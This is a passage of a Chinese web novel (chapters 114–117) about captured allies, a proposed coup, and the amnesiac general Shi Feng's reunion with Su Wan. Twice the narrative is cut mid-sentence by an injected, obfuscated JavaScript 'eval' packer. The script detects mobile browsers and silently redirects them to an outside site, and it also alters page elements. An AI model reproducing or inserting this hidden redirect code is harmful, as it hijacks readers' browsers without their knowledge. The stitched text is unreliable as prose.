他将搭在案上的双腿放下,坐直了身子,语气一转,正色道:“你不是收到线报吗?那姓邵的跟别人在一起,此刻不在京营里。没什么好担心的,咱们直接冲过去罢。” 秦欢淡淡道:“你是不是忘了,自己是毒蛇堂的堂主这回事?” 萧染一怔,眼神不自在地在房梁绕了一圈。 半年前,画舫与山寨两案合并,京营早已将他萧染当作头号通缉犯,悬赏巨额赏金缉拿他。他之所以还敢在京郊周遭活动,不过是仗着地盘熟悉、身手敏捷,未被围剿而已。 可听秦欢这语气,倒像是在提醒他“自觉避嫌”,免得给人添乱。 萧染双手抱臂靠在椅背,不屑道:“我会怕那些杂头兵?再说了,我也不是为了发泄私愤,都是听从朝廷安排调遣。我可是皇帝老儿亲口承诺的暗卫。” 话虽如此,二人心知肚明——从前或许是这样,可如今不同了。 温如初已入内阁,想必早已打通朝堂各处人脉,若真要清理旧账,怎会轻易放过小侯爷萧染?更不可能放过他秦欢。 秦欢沉声道:“不可掉以轻心。” 事实证明,秦欢才是老狐狸。 萧染率先带人前去探路,谁知才走出不到二十里的路程,一队金甲骑兵从林间骤然杀出,马蹄轰鸣,卷起大片尘土,长枪凛厉直指自己。 他的人马立刻警觉,兵刃出鞘,双方剑拔弩张。原以为只是寻常守军,交手以后方知,五军营的骑兵行动迅猛如雷,战阵攻防一气呵成,完全不似萧染口中“杂头兵”可比。 短短一炷香的时间,毒蛇堂堂主便被人“恭敬”地请上了马,浩浩荡荡送进军营,堂而皇之成了对方的座上客。 帐内烛火摇曳,甲胄铿锵,萧染双手被缚,气鼓鼓地被按坐在席前,抬眼便见主位上坐着一袭青衫的京营指挥使——大理寺卿邵云礼。 “你、你不是在后……”少年眨了眨眼,满脸惊奇。 岂料,邵云礼抬手掸了掸衣袖,淡然道:“本官一直都在京营驻扎,不知你在说什么。” 烛光映着他眼底一丝若有似无的笑意,宛如猫捉老鼠,耐心十足。 (未完待续) 115. 和谈 日光透过营帐顶端的缝隙洒落,细碎光影翻卷跳跃的旌旗,帐外隐隐传来兵戈碰撞声,偶尔几缕风掀起帘角,吹进一丝黄土气息。 “你、你是……” 手脚被麻绳牢牢捆着,身子僵硬得发麻,萧染动了动手腕,坚硬绳索磨得皮肉生疼。他费力地抬起头,眯着眼睛,努力想要看清楚些。 “怎么,不认识本将军吗?”对方坐得极为随意,左手撑着扶臂,右手支着下颌,身体微微前倾,倦怠地打了个呵欠。 那副悠闲散漫的模样,令萧染心里顿时有了数。眼前之人,就是他一生的“宿敌”——时枫。 可他不是死了吗? 他本应溺死在黄河里,尸骨无存才对。可现在,男人竟好端端地坐在自己面前,甚至还有心情打呵欠? 萧染舔了舔干涩的嘴唇,嗓子眼火燎似的发紧,“你想怎样?” 时枫挑了挑眉,右手指尖叩着唇,像是听见了什么有趣的话,“本将军叫你过来,是想和你喝茶叙旧。” 正午阳光越发毒辣,照得帐外沙尘浮动,飘进来的黄土落在萧染的衣角,他懒得去掸。 “什么意思?”萧染眨了眨细长的眼,目光在男人身上逡巡了一遭,“难道你想让我出卖秦欢?想得美。” 秦欢,两个字好似一枚密钥,撬动记忆大门开启一丝缝隙。 时枫似乎有些不淡定,稍稍坐正身子,“秦欢,是谁?”顿了顿,豪爽道:“你的朋友?一起叫来饮茶。” “是你爷爷。”对方竟然摆出如此嚣张态度,令萧染气个半死,忍不住訾骂道。 男人愣了愣,却没有依样骂回去,只一味盯着少年。阳光在男人侧脸勾出锋锐的线条,骨节分明的指尖叩敲扶手,发出哒哒的声响。 冷静的反应,更让萧染心里发毛。 他一个鲤鱼打挺,整个人像弹簧一样弹起,不留神脚下踉跄了一步,咬牙撑住身形,目光逼视时枫,怒道:“你他娘的,少跟小爷装神弄鬼,吓唬谁呢?我告诉你,敢动秦欢一根汗毛,小爷我掀翻你家祖坟!” 空气凝滞了一瞬。 时枫眼里浮起迷惘,心道:这跟说好的不一样啊,怎么两句话就把人惹毛了?接下来该怎么做呢? 男人没有反驳,也没有嘲讽,反而佝偻着身子,手掌下意识地摩挲着束腕,显得有些不知所措。 莫名其妙的反应,也让萧染摸不着头脑。按理说,时枫被骂成这样,怎么着也该炸毛了才对,可他竟不怒不笑,一声不吭,不知心里盘算什么鬼。 兵不厌诈,他可是很懂的。 “谁让你出卖别人了?”忽然帐门被人掀开,一道身影趸入营帐。 萧染扭头看去,邵云礼步履稳健走进来,顺手放下帘子,风吹得衣袍微微扬起,又落得整整齐齐。他扫了一眼时枫,眼角弯了弯,像是在会意什么。 而时枫则靠回椅背,姿势放松了几分。 邵云礼捡了张座位坐下,拈起案上的茶壶,为自己倒了杯茶。 他慢条斯理地饮了一口,方才放下杯盏,淡然开口道:“不过是想和你们坐下来,好好谈谈。” “哼。”萧染冷笑一声,震得肩膀尘土抖落,“说来说去,还是要威胁勒索,我劝你死了这条心吧。” “哦。”邵云礼摇头叹息,指尖敲了敲桌面,“我本以为,小侯爷是个明事理的人,岂知竟是这般油盐不进,不知好歹。死到临头,还要嘴硬。” 一声“小侯爷”,惊得萧染脚底发凉,嘴巴张得大大,眼睛瞪如铜铃,不敢相信自己的耳朵。 惊诧表情尽数落入大理寺卿的眼中,他掸了掸衣襟,悠然道:“你可知此刻,京城遍地都是暗卫,专为拿你而来?你现在进城,等于是自投罗网,不出十步,一准被人拿下。” 他身子向后靠了靠,侧首思索了一瞬,“锦衣卫镇抚使李鹤鸣,应该跟你很熟吧?”又顿了顿,嘴角扬了扬,“就是他下令要抓你。” 李鹤鸣统领锦衣卫及暗卫,算是萧染的顶头上司。过去两年间,基本都是李鹤鸣的手下,在同萧染交涉,给他发布任务。 他以为自己藏得够深,可对方竟然将他的全部底细翻了个底朝天。萧染咬紧牙关,努力维持镇定,“胡言乱语,我听不懂。” 邵云礼笑道:“你懂不懂不要紧,秦欢明白就行了。” 他抬头看了看帐外日头,“估计再有一个时辰,秦欢就会到了。” 京郊驿站,春寒料峭。 殷潜的车马已经进入顺天府境内,距离京城不过几十里路程,车队在进京前做最后的补给,于是,苏绾捡着空暇休整一天。 她半倚美人靠,仰望庭院里的几株桃树。枝头新绽的花朵,被风一吹,片片飘落,红白交错,落入池水。 她轻叹:“开得真好。” 秦欢坐在她身旁,他袖中藏着一方小小漆盒,里面装着他为她亲手打造的桃木簪。本该在苏绾生辰时送出,可他总觉得时间紧迫,许多事已不再按计划进行。 他不想再等了,怕夜长梦多,也怕这份心意无法传达。心里盘算着如何把簪子送出去,可话到嘴边,竟无端生出几分犹豫。 他漫不经心道:“再过几日,花瓣就要落尽了。” “有花堪折直须折,莫待无花空折枝。”苏绾娇俏笑道。 秦欢的目光不由自主地落向桃花面颊,清新妍丽,不施粉黛却胜过世间万千妆容。她的美,是那种天然去雕饰的美,仿佛从画中走出的仙子,令人移不开眼。他曾有幸拥她入怀,此生多么幸甚至哉。 然而,与上一世相比,如今的苏绾多了一分自由,少了几分束缚。她的笑容更加明媚,举止更加洒脱,可秦欢敏锐地察觉到,她眉眼间依旧藏着淡淡的忧伤。那抹忧伤如薄雾般萦绕不去,却不是为了他。 她的心里,装着另一个人。 递出去的真心,她不见得会收。 亭外风起,几片花瓣旋落,落在苏绾肩头。她抬手想拂去,却被秦欢拦住。他伸出指腹,轻轻捻起花瓣,夹在指间把玩,动作从容洒脱,颇有一股逍遥散人的意境。 秦欢的身上,流淌着一股温润的气息,好似冬日暖阳照耀心田,整个人都晒得暖洋洋的。 世上绝无第二人值得这份信任,哪怕过了两世。 “可惜了。”秦欢低声道。 苏绾看着他,“可惜什么?” 秦欢将花瓣搁在她掌心,“可惜再好看的花,也留不住一世。” 那副与世无争的态度,深深刺痛了苏绾的心,耳边不合时宜地乱入温念凄厉的笑声:“秦欢被熊罴啃得骨头渣子都不剩,叫我如何替他收尸,哈哈哈。” 她忽然觉得自己欠了他一辈子。 苏绾垂眸道:“表哥,这世上有没有哪样东西,是你想留下的?” 秦欢正思考如何拿出礼物,冷不丁被她劈头一问,袖里漆盒滑落半截,差点掉出来。秦欢身子一侧,不动声色整理衣袖,将漆盒重新藏好,抬眸道:“怎么问这个?” 苏绾瞥了一眼他的衣袖,似乎有什么东西滑落,但对方明显故意藏着掖着,就是不想让她知道。 苏绾按下心头疑惑,“随口问问。” 既然自己没有露出破绽,秦欢放了心,“没有。”他笑了一下,“世间万物,能握住的东西不多,握不住的,就随它去吧。” 见他还是不愿意对她敞开心扉,只是一味敷衍了事,苏绾没有继续深问。 这时侍从快步走入,俯身附耳低语几句。 听得秦欢眉心蹙起,罕见地急着站起身辞别:“你早些歇息,我去去就回。” 必有大事发生。 苏绾望着他的背影沉稳离去,随即起身回房,换了一身利落的男子衣裳,戴上兜帽,翻身上马,悄无声息地跟上秦欢的车马。 一路上,苏绾越走越觉得熟悉,这条路怎么好像通往京营方向? 果不其然,大约行了二十里路程,马车在京营前方拒马枪处,停了下来。车夫跳下车,同守卫交涉一番,守卫挥手放行。 苏绾原地等了一会,直到秦欢完全进营后,她才从后方急急跟上。 守卫拦住她,“哪里来的?” 苏绾忙用口技模仿男声:“我是秦欢的小厮,秦大夫有重要信件落下,老爷派我送过来。” 守卫刚刚放行秦欢,见她如是说,也就信了,挥手将她放行。 故地重游,苏绾逡巡一圈,不费吹灰之力就摸到了秦欢所在的营帐,门口候着他真正的仆役。她翻身下马,找了借口支开那名小厮,自己取而代之,躲在帘下偷听里面谈话。 秦欢甫一进营帐,目光立即捕捉到席上的几人。 最先映入眼帘的是垂头丧气的萧染,衣襟沾着尘土,袖口褶皱凌乱,显然是被人强行按住了。哎,谁让这个呆子不听话,这下子好了吧,人为刀俎,我为鱼肉。 秦欢视线再往前移,邵云礼神色从容端坐主位。那副稳操胜券的姿态,让秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15154114|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢心底一沉。果然被他猜中,大理寺卿提前赶回京营,巧设陷阱,专为擒他而来。 以及最后一人…… 秦欢以为自己看错了,他下意识地抬手在额角抹了一把,确认自己没有幻觉。 男人一身玄色戎装,凤眸沉冷,正一瞬不瞬地盯着他,像是要将他整个人看穿。 秦欢藏在袖管里的手,不自觉地攥紧了。 他没有看错,那个男人回来了。 他从黄河的惊涛骇浪里活着回来,带着万分的怨恨与锋芒,重新出现在他面前。 邵云礼手一挥,“秦大夫,看座。” 秦欢敛去所有情绪,信步趸至萧染身旁,随手捡了张杌凳坐下。 刚坐稳,萧染压低声音凑到他耳边,怒气冲冲道:“他们故意的,仗着人多……” 秦欢连头都没回,淡淡道:“人少,你也打不过。” 一语击中痛处,萧染嘴角一抽,脸涨得通红,偏偏又无力反驳,像只受气的猫,满脸的不甘心。 邵云礼抱拳惟恭,“今日邀请秦大夫莅临寒舍,乃是为商讨机要,并非有意为难二位,多有得罪,还请海涵。” 秦欢执起茶盏,抿了一口,“秦某一介布衣,身无半点功名,何来资格,坐在这帐中,同朝廷官员谈论长短?邵大人怕是找错了对象。” 邵云礼笑意不减:“秦大夫客气了。莫说你没有资格,整个山东省的海运漕运,皆在你的掌控之中,如今又拉拢了浙江布政使殷潜的势力,大半江山尽在麾下。”他意味深长地看了秦欢一眼,“就连我这个三品大员,都得低头向你行礼问安。” 邵云礼这番话,看似玩笑,实则锋芒毕露——不仅是在点明秦欢的势力,更是在警告他,自己已经将他的背景摸得一清二楚。 秦欢轻轻一叹,似笑非笑地道:“邵大人此言差矣。殷潜是秦某的姨父,身边照顾尽孝乃是本分,何来拉拢一说?再者,文武自古不相通,我与兵家道不同不相为谋,实在是无话可谈。” 这郎中铁了心的不想和谈,倒让邵云礼下不来台阶,脸色有些难堪,“秦大夫,你也忒不知好歹。敬酒不吃吃罚酒。进了这营帐,就别想着全须全尾地出去。说破了天,今日也是要和谈。” 旁边的萧染一听,顿时炸了毛,拍案而起,“注意你的言辞!吓唬谁呢?真要闹个鱼死网破,我们也不怕!” 毒蛇堂的信徒遍及京城内外,又有锦衣卫当后盾,他萧染无所畏惧。 帐内的将士握紧兵器,气氛瞬间紧绷。 “你给我闭嘴。”秦欢斥道。 对方显然对他们的底细和立场非常清楚,他自己也不过是强撑着,根本没能力威胁对方。 这种不对等的感觉,非常不好受。 萧染张了张嘴,不甘心地瞪了他一眼,没再作声。 果然,邵云礼嘴角一撇,“差点忘了小侯爷,你的身份,可是计划中尤为重要的一环。成败与否,就看你的表现了。” 他连萧染的背景都翻腾出来了,想必关于苏绾的身世,也能略知一二。 自己太被动了,手里面一枚筹码都没有。 秦欢收回目光,神色平静道:“我本无意冒犯诸位,但实在是囊中羞涩,胸无丘壑,愧对大人的信任。” 邵云礼笑道:“秦大夫谦虚了。罢了,邵某也不同你拐弯抹角,不若先听听我的计划,再做定议不迟。” 言毕,他端起茶盏,也不管秦欢愿不愿意听,自顾自地娓娓道来:“如今局势已至紧要关头,圣上优柔寡断,朝中党争日益激烈,国本动摇,唯有一策可行。” 他声音沉稳而笃定。 “逼宫。” 帐内顷刻陷入死寂。 萧染倏地直起腰,目光骇然,秦欢手中的茶盏晃了晃,就连帐外的苏绾也攒着一把汗。 “当然。”邵云礼神色如常,“并非真正意义上的威逼皇帝退位,而是打着‘清君侧’的名义,迫使圣上清算奸佞,还朝纲以清明。” 此番谋划,绝非一人所能成事,背后定然还有更深的布置。如此大规模的行动,虽是以假乱真,若不慎踏入泥淖,便是万劫不复之局。 “我的人,加上你的势,如虎添翼,锦上添花,保准马到功成。”邵云礼敛眉轻笑,目光锋锐,“秦大夫以为如何?” 秦欢素来谨慎,没有立刻答应,但也没有断然拒绝。 有些事,他必须先弄清楚。 时枫,为什么还活着? 116. 失忆 时枫为什么还活着? 秦欢眯起眼,余光不动声色地落向那道身影,玄色戎装勾勒出肩背凌厉的弧度,男人目光沉静如渊,没有怒意,也没有杀意。 可秦欢心里清楚,这个男人的归来,绝不仅仅为了饮茶叙旧。他活着,就已经是最锋利的一柄刀刃,架在了自己的脖颈之上。 所有人都认为,他秦欢是凶手。 几个月前,颜老七信誓旦旦地告诉他,自己将时枫踢下河。秦欢破天荒地动了怒,狠狠骂了颜老七一通,并放话以后再也不想见到他。 颜老七马屁拍错了地方,没捞到半点油水好处,反倒惹了一身不是。他整日窝在铺子里唉声叹气,醉生梦死,直到被沈枝意送去见阎王。 如今颜老七死了,真正知晓真相的人,已被埋入黄土。秦欢突然意识到:自己背了史上最大的黑锅。这世上,再无人能证明,他秦欢到底有没有杀人。 可他扪心自问,自己真的无辜吗? 并不。 他甚至没有派人去沿岸搜寻,甚至没有组织任何打捞行动。可他以照顾苏绾为借口,并没有将这些琐事放在心上。倘若他真地尽心尽力拯救时枫,他又怎会被渔民救走? 所以,在他心里,早已默认是自己杀了时枫。 秦欢端坐不动,目光犀利如刃,死死盯着时枫,像要将他看穿——从一开始,时枫就没有开口讲过一个字,以他一贯张扬跋扈的个性来看,非比寻常。 “你的计划虽周全。”秦欢沉缓道:“但我有一个疑问。” 所有人看向他。 秦欢眼底掠过一丝寒意,声音压得更低:“你们可知,那皇宫里面,其实有两个温如初。” 霎时,帐中死寂。 这一句话,如同霹雳炸开,惊起千层浪。 萧染尚且镇定,低着头像是在思索什么。那日在黄河渡口,就是他拿着火铳崩了三枪,打断了温如初的一条手臂。 邵云礼起初面露惊骇,转而沉寂了一瞬,忽然灵台一片清明。 他早觉得不对劲,之前在太后寝宫门前,那时温如初从他身侧经过,语气不轻不重地提点他关于萧染的身世。 心思敏锐如邵云礼,自然察觉出话里有玄机,只是当时,他更在意温如初的伤势——左肩微沉,明显受长枪一类的利器贯穿,可他以为无关紧要,未曾细想。 直到现在,被秦欢一语点破天机,他才如梦方醒,后背泛起一丝寒意。 从黄河一行铩羽而归后,温如初作风大变,朝堂上独断专行,雷厉风行,赶尽杀绝一众异己,甚至毫不避讳地玩弄“指鹿为马”的权术,生生逼得内阁其他几个老臣告老还乡,更是以二十三岁的年纪,稳坐“小阁老”之位。 里面一定有猫腻。 秦欢死死盯着时枫,观察他的反应:那日他在渡船上,与两个温如初正面周旋决斗,绝对知晓事实真相。 然而时枫却是一群人里面,最茫然不知所措的,凤眸流露出彻骨的迷茫,他、他甚至还挠了挠头。 秦欢疑心自己看错了,不死心又问了句:“时将军,你曾亲自随同温如初南下,又与他乃鹡鸰之交,不可能不知道吧?” “这个……我……”时枫支支吾吾,不知如何回答他,掀眸望向邵云礼。 出乎意料地,大理寺卿竟也好似第一次听闻,自言自语:“怎会有两个温如初呢?不会看错了吧。” 两人毫无默契的反应,直接验证了秦欢的假设,他忍不住咬紧了牙关,面上覆上一层阴云。 身边萧染也察觉出来不对劲,恍然大悟道:“他、他在说谎。” 这时,帐外突然传来急促的脚步声,裹挟着寒风,苏绾贸然闯入帐内。 邵云礼心中大呼:“不妙。”来不及阻拦苏绾,她已然冲到了主位之前。 眼前的男人一身玄衣,凤眸冷冽如霜,稳稳坐在椅子上,肩背笔直如松,周身散发着凌厉的气势,如假包换的“冷面阎罗”。那张熟悉的面孔,那张她曾在无数个深夜里描摹的脸颊,近在咫尺,冷得让她心寒。 苏绾的眼泪无声地滑落,大颗大颗地砸向衣衫,溅起细小的水花。眼底震惊、愤怒、悲喜交加,最后只化成一句撕心裂肺的控诉。 “你这个大骗子!” 声音颤抖,带着几分嘶哑,胸口剧烈起伏,呼吸也变得急促。 脑海中闪过无数画面,那些深夜里的辗转反侧,那些独坐窗前的孤寂,那些因思念而将她吞噬殆尽的痛苦。 蓦然又想起那些梦境,梦里他总是站在远处,背对着她,无论她如何呼喊,他都不曾回头。 手指无力地松开衣角,指尖半蜷着垂在身侧。目光依旧死死地盯着他,心中涌起一股难以言喻的酸楚。 她曾以为,自己已经习惯了没有他的日子,习惯了那种深入骨髓的孤独。可如今,看到他活生生地出现在眼前,她才明白,那些所谓的习惯,不过是自欺欺人的谎言。她的思念从未停止,反而在日复一日的压抑中愈发浓烈,几乎要将她逼疯。 “你骗得我好苦啊……”声音低低的,仿佛用尽了所有的力气。 时枫蹙眉睇着眼前之人。 她穿着一身缁衣,衣袂翻飞,头戴兜帽,鬓边一缕发丝被风吹乱,贴在泪湿的脸颊。整个人僵在原地,像是拼尽全身力气才能勉强站立。 然而时枫眉心皱得更深,眼底浮起错愕,记忆里似乎没有这样一位男子存在。 这个大傻瓜,苏绾换了件男装,他就认不出她来了。 他微微侧首,疑惑道:“你是谁?”又不确定道:“我好像不认识你。” 寂静,死一般的寂静。 苏绾浑身一震,像是被当头一棒砸下,脑中嗡鸣作响。明眸翻了翻,以为他又是在逗弄她。 这个混蛋,都什么时候了! 众目睽睽之下,苏绾上前几步,跳脚窜上桌案,单膝蹲踞,一把拽住男人的衣领,凑近眼前,咬牙道:“你再说一次,你认不认得我。” 她离他不过半寸距离,时枫听到一颗小心脏扑通扑通地跳着。扑面而来的,都是她的气息,一股淡淡的馨香。 啊! 这次他看仔细了,这人并非男子,其实是位姑娘,而且是他朝思暮想的那位神仙姐姐。 男人的脸瞬间涨红,结结巴巴道:“认、认得,我认得你。” 苏绾眼睛一亮,“那你说,我是谁?” 这下可为难了时枫,他只在梦中见过她,但明显梦里的人和眼前的美人,并非同一个。 记忆里依稀有些印象,叫什么来着?他努力地回想:“苏、苏……” 在场众人跟着他的节奏,脑袋一点一点,心脏也被揪到了嗓子眼。 “苏……唉呀!”男人忽然一声大吼,“我记不得了。” 哎,所有人跟着叹了口气。 这个没用的笨蛋。 哪知苏绾根本不买账,一手揪着衣领,另一只手啪啪地扇他耳光,骂道:“你这个混蛋,竟敢说不记得了?我要打死你,你去问地府阎罗,翻开命簿看看,姑奶奶究竟姓甚名谁。” 众人被苏绾这架势吓成木鸡。 男人抱着头,转向邵云礼求道:“邵大人,你帮帮我嘛。” 邵云礼正狠狠敲着自己的额首。 阿舟这个笨蛋,真是没救了。 自从沈枝意亲手杀了山羊胡之后,邵云礼越发觉得局势不对劲,他似乎有点过于乐观了。 原本计划着,让阿舟假扮上门女婿,借沈恪之手来守护时枫,在他恢复记忆前,只以阿舟的身份苟活。 可那位沈大小姐好像一丸火药,随时可能被引爆,完全不按常理出牌。与之相处像是置身一局浑水,表面看似平静,实则水底暗流汹涌,不知道明天会被推去何方。 他不喜欢这种感觉。 他习惯执棋,而非被棋局牵制。他要合适的棋子,能搅动局势,又不会颠覆棋盘的人,不该是沈枝意。 于是,他在心里慢慢勾勒了一条计划——先发制人,逆转局势。抛开沈恪的庇佑,先迎时枫回局,在众人掩护下,再慢慢寻求恢复记忆的办法。 孤注一掷,实在寸步难行,他需要联盟军。放眼天下,还有谁配得上以身入局下这盘棋,在这乱世里掀起惊涛骇浪? 他想到了一个人。 那位胸怀千古的幕后真正操纵者,秦欢。 另一方面,阿舟主动找上了他。 邵云礼看着眼前这个一脸憋屈、满腹心事的年轻人,心里不禁生出几分趣味。 阿舟明明就是失忆的时枫,可他偏偏要装作普通渔民,一副不愿面对现实的样子。 邵云礼坐在椅上,修长的手指有一搭没一搭地敲着扶手,“怎么,阿舟兄弟想通了,终于要问我关于自己真正的身份了?” 阿舟神色一僵,别开脸,干巴巴道:“不是。” 邵云礼饶有兴致地看着他:“那你找我是为了什么?” 阿舟沉吟片刻,像是在斟酌措辞,慢吞吞道:“阿喜说,人活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15154115|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着不能总是被欺压,若是有人害了你,便该报仇。” 邵云礼轻嗤一声:“她倒是很有见地。” 阿舟握紧拳头,咬牙道:“我想了很久,谁才是害我的人……想来想去,只有沈枝意。” 邵云礼拿起茶盏,轻轻晃了晃,“所以呢?” 阿舟眉头拧成一团,显然有些挣扎:“可她到底是个姑娘,我又不好直接对她下手。” 邵云礼慢条斯理地抿了一口茶,幽幽叹道:“哎,真是个温柔的好男人。” 阿舟警惕地看了他一眼:“你别讽刺我。” “我是在夸奖你。”邵云礼将茶盏轻轻放下,抬眼看着他,“正好,我有个事情让你来做。” 阿舟皱眉:“什么事?” 邵云礼似笑非笑地道:“任务很简单,我要你假扮时枫。” 阿舟愣住了,眼睛睁得比铜铃还大,手都不知道往哪儿放了,结结巴巴道:“你、你、你说什么?” 邵云礼懒洋洋地靠在椅背,语气自然得仿佛只是在说今晚吃什么,“让你冒充时枫,跟我走一趟京郊大营。” 阿舟眼角抽了抽,嘴巴张了张,半天没说出话来。 邵云礼微微倾身,蛊惑他:“怎么,堂堂战神,竟不敢去自己的地盘?” 阿舟咬牙:“可我什么都记不得了。” 邵云礼手指叩着桌面,慢条斯理道:“没什么大不了,就是去探个消息,顺便让某些人看看——你,时枫,活着回来了。” 阿舟迟疑道:“……然后呢?” 邵云礼眸光微动,“然后,我帮你解决沈枝意。” 阿舟眼里有一丝动摇。 邵云礼继续添火:“不但如此,我还帮你彻底退婚,让沈枝意以后再也不来纠缠你。” 阿舟喉结滚了滚,“当真?” 邵云礼淡笑:“自然。” 阿舟盯着他,似是在权衡利弊,最终还是选择了相信他。 “行,我答应。” 这个傻瓜,完全忘记了,当初就是邵云礼主动登门,死皮赖脸求他娶的沈枝意。 邵云礼临行前,特意嘱咐晴雷:“阿喜他们就交给你了,好生照看。还有,”他顿了顿,目光幽深,“不可叫沈恪那边知晓。” 晴雷抱拳应下,看着二人策马离去。 邵云礼骑着一匹黑马,黑鬃如缎,步履沉稳。而阿舟,自然是骑踏月。 可怜踏月,千里神驹,战场征战无数,时隔半年,终于再次见到主人,竟是兴奋得不住扬蹄嘶鸣,仿佛在倾诉漫长难捱的等待。 然而,它迎来的,并不是熟悉的将军,而是一个一脸懵然的“渔郎阿舟”。 阿舟刚一翻身上马,踏月骤然昂首,长嘶一声,前蹄猛地扬起。 “啊——” 阿舟抱着马脖子,险些掉下马来,他脸色煞白,嘴里直嚷嚷:“它疯了,它疯了。邵大人,你救救我。” 邵云礼勒马回头,含笑看着这滑稽的一幕,“怎么?连骑马都忘了?” 阿舟咬牙道:“废话!我是个渔民,哪来的骑术?” 可邵云礼才懒得理他,两腿夹紧马臀,径自离开了。 阿舟小心翼翼地拽着缰绳,深吸一口气:“踏月,咱们讲道理,我是你的主人,你要听话。” 踏月耳朵一竖,眼里满是不屑,扭头就是一记轻巧的尥蹶子,差点把他再度摔下去。 就这样,一人一马,“磨合”了一整天,百十里的路程,硬是从晨曦拖到了夕阳,千里神驹的英名,生生毁在了自家主人的手里。 二人终于抵达京郊大营,邵云礼翻身下马,先是安抚众将一番,“将军沉河之际,头部受创,记忆有损,若偶尔认不出人,也属正常。” 全营炸了锅。 小旗官第一个冲上来,见到踏月,眼圈瞬间红了。他伸手抚摸战马的鬃毛,颤声道:“踏月啊踏月,你居然、你居然真的把将军带回来了,好样的。” 他抱着踏月的脖子,眼泪大颗大颗地滚落,泣不成声。 有人跟着哽咽:“百户长泉下有知,也该瞑目了。” “是啊,他誓死守护的将军,终于回来了。” 阿舟被这群红着眼眶的将士们团团围住,一时间进退不得,原本该扮演的“冷面阎罗”角色,硬生生被弄成了“死而复生的亲人”。 更大的危机,还在后面。 他做梦都没想到,自己会被梦里的美人,眼前的不速之客,苏绾,给逼到了绝望的死角。 117. 觉醒 “你个大骗子!” 苏绾扇够了耳光,嗖得一下跳下案,身手利落得让人难以置信。她用力捶着阿舟胸膛,拳风带着怒火,一下接一下,毫不留情。 阿舟被打得一个趔趄,脸色发白,又不敢还手,只一个劲地后退,但又不能退太远,怕她会跌倒。 邵云礼刚想开口劝阻,苏绾已经又是一拳砸来,边打边哭:“你知不知道?我快要被你气死了。你说失踪就失踪,留下我一个人独活!” 粉拳砸得他心口生疼,一下一下,“你还是不是男人?!” 阿舟急得不行:“我、我……” 苏绾没给他解释的机会,拳头愈发没有章法,鼻涕眼泪横流:“是不是,你还是不是男人?!” 邵云礼实在看不下去了,开口劝道:“苏姑娘,你好好说嘛,别动手啊,他快要被你打死了。” 见苏绾这般憔悴无助,萧染站在一旁,双手紧紧攥成拳头,心里犹如刀割,正要上前拉开她,却被秦欢拦住,“他失去了记忆,暂时没有危险。” “可是……”萧染咬牙,心里感慨,秦欢也太能忍了,怎么会没有危险,明明已经大祸临头了。 渐渐地,苏绾越打越没力气,拳头落在阿舟身上,变得轻飘飘的,像棉花一样。她喃喃着:“不是男人……” 眼泪砸在他胸口,沾湿了玄色衣襟。声音越来越低,越来越细,最后几乎只有气息。 阿舟站在原地,任由她无力地拍打自己胸膛,她的手指瘦削苍白,指间金环镶着一颗墨玉,闪着幽幽的绿光。 那玉磨砺着他胸口的肌肤,擦着一道深入骨髓的旧伤,像是剖心刮骨般生疼。 仿佛过了很久,男人忽然伸手,将她圈在怀里,手臂紧紧收拢,像要把她揉进骨血。 他的声音低哑:“是我的错……我不是男人。” 此生从未如此心疼懊悔过。为什么自己的笨脑子里,连一点回忆都给不了她? 风从帐外掠过,卷起帘幕的一角,吹乱了两人的衣衫。 男人指尖缓缓收紧,他想不起来她是谁,可他的身体还记得。 他记得她的哭声,记得她的重量,记得她的触碰。 他希望自己沉在黄河底,永远不用面对这一刻的无能为力。 苏绾的指尖微微颤抖,冷汗顺着额角滑落,沾湿了鬓发。她的眼神涣散,死死盯着虚空,仿佛那里藏着某种恐怖的东西。她的唇微微张开,喉咙里发出细弱的气音,像是想要说什么,却又被卡在喉间,化作断断续续的呓语。 幻相如潮水漫漶,交错重叠——她看见自己回到了那座燃烧的城门楼,火光舔舐雕梁画栋,殷红血水顺着石阶淌落,断手断足的焦黑尸体,竟挣扎着匍匐爬来。耳边萦绕哀嚎和哭喊,熟悉的声音震耳欲聋:“妖女苏绾,祸国殃民,天命诛杀之。” 忽然,一道玄色身影从火焰中走来。 他的甲胄破损,凤眸仍是熟悉的清冷,胸膛一道猩红伤口,鲜血像断线的珠子,汩汩喷涌。他的嘴唇一开一合,似在呼唤她的名字,可她听不见只字片语。 “不……”苏绾踉跄后退一步,赤裸脚掌踩进一滩温热的液体,血腥气扑鼻而来,她低头看去,才发现自己正站在一片血泊之中,而自己的手,紧紧握着一支染血的金簪,簪尖滴落着鲜红的液体。 她瞳孔剧缩,疯狂甩开簪子,想要逃离这个噩梦。然而,那些死去的身影却越逼越近,哀怨的眼神密密麻麻地凝视着她,耳边嗡嗡作响—— “苏绾,你该偿命了……” “不!”她仰头尖叫,声音凄厉。她双手抱头,指甲深深陷进头皮,身体剧烈颤抖,脸色惨白如纸,眼底的惊恐深不见底。 她转身一路狂奔,黑暗迷惑了她的眼睛,看不清脚下的路,直至撞上冰冷的墙壁,整个人缩成一团,浑身止不住地战栗,犹如逼入绝境的困兽。 “假的、假的……”她喃喃低语,眼神无焦距地扫视四周,试图从这片血海和火光中寻找现实的痕迹,可她什么也看不见,只能无助地蜷缩着,指尖死死抠着墙面,指甲缝溢出了鲜血。 “哈哈……” 